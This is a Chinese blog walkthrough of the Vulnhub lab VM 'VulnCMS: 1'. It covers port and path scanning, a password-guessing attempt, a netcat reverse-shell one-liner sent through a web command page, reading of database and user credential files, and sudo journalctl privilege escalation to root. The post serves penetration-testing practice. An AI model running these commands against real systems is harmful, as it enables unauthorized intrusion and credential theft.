wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.30:VulnCMS: 1(vulnhub)渗透测试
发表于: | 分类: 安全测试,资格认证 | 评论:2 | 阅读: 1867

一、前言

主要利用方式一:wordpress 路径扫描发现命令执行页面,

                       反弹shell拿到www-data权限
                       遍历配置文件中发现用户名及密码
                       切换用户后通过sudo提权

二、靶机信息

靶场: vulnhub.com
靶机名称: VulnCMS: 1
难度: 简单
发布时间: 2021 年 6月 13日
下载地址:https://www.vulnhub.com/entry/vulncms-1,710/

三、虚拟机配置
VirtualBox(Vmware)、网络连接模式:NAT模式、DHCP服务:启用、IP地址:自动分配
攻击IP:192.168.169.129
靶机IP:192.168.169.176

四、信息收集
1、探测靶机ip地址
└─$ sudo arp-scan -I eth0 -l

2、探测靶机ip端口及端口具体服务
└─$ sudo nmap -p- 10.0.2.15

└─$ sudo nmap -p22,80 -sV -A 10.0.2.15

简单描述,22端口基本可以跳过,80端口是一个web网站,w3.css 博客网站,5000端口是wordpress,8081是joomla博客网站,9001是drupal博客网站,

3、80端口访问W3.CSS博客以及常规路径扫描探测
http://10.0.2.15/

└─$ dirsearch -u http://10.0.2.15

http://10.0.2.15/about.html

设计靶场的作者,多少有点想法,恐怕是在教我们做事?

五、漏洞利用(突破边界)

4、5000端口访问Wordpress博客以及常规路径扫描探测
http://10.0.2.15:5000/

5、css页面不完整,发现大部分的跳转,都是存在域名(fsociety.web),需要添加本地host,通过域名去进行访问
└─$ sudo vi /etc/hosts

└─$ cat /etc/hosts

访问:http://fsociety.web:5000/

6、进行常规路径扫描
└─$ dirsearch -u http://fsociety.web:5000/

7、存在后台,探测存在用户,发现存在wordpress_admin用户
└─$ wpscan --url http://fsociety.web:5000/ -e u

└─$ wpscan --url http://fsociety.web:5000/ --usernames wordpress_admin --passwords /usr/share/wordlists/rockyou.txt
扫描了半天,也没扫描出来账号密码

8、挨个访问扫描出来的路径,发现一个webshell页面,进行尝试,发现命令执行窗口
http://fsociety.web:5000/login.wdm

9、攻击机准备好nc的反弹监控,通过网站尝试反弹shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.7 9999 >/tmp/f

10、监控到来自10.0.2.15(靶机)nc反弹回来的连接,并校验权限,发现是www-data权限

升级交互式的tty
$ python3 -c 'import pty;pty.spawn("/bin/bash")'

11、查询wordpress数据库密码
www-data@vuln_cms:~/html/wordpress/public_html$ cat wp-config.php

/* MySQL database username /
define( 'DB_USER', 'wp_admin' );

/* MySQL database password /
define( 'DB_PASSWORD', 'UUs3R_C!B@p@55' );

12、探测存在用户
www-data@vuln_cms:~/html/wordpress/public_html$ cat /etc/passwd

13、发现存在其他cms平台

提取账号信息-tyrell

www-data@vuln_cms:~/html$ cd drupal
www-data@vuln_cms:~/html/drupal$ cd misc
www-data@vuln_cms:~/html/drupal/misc$ cat tyrell.pass

Username: tyrell
Password: mR_R0bo7_i5_R3@!_

提取账号信息-drupal
www-data@vuln_cms:~/html/drupal/sites$ cat /var/www/html/drupal/sites/default/settings.php

  'database' => 'drupal_db',
  'username' => 'drupal_admin',
  'password' => 'p@$$_C!rUP@!_cM5',

提取账号信息-Joomla
www-data@vuln_cms:~/html/joomla$ cat configuration.php

    public $user = 'joomla_admin';
    public $password = 'j00m1_@_dBpA$$';

六、提权
14、切换到tyrell用户

15、查看下当前账户是否存在可以使用的特权命令或文件:sudo -l,发现存在/bin/journalctl命令

16、查找下journalctl的提权命令,按照sudo方式进行提权
https://gtfobins.github.io/

按照命令执行
tyrell@vuln_cms:/var/www$ sudo journalctl

  • (press RETURN)!/bin/sh

17、成功提权到root账户并在root目录下发现root.txt文件,读取该文件获得flag值。

cd /root

cat root.txt

4359537020406305

已有 2 条评论

  1. 博主真是太厉害了!!!

  2. 不错不错,我喜欢看 https://www.jiwenlaw.com/

添加新评论

TOP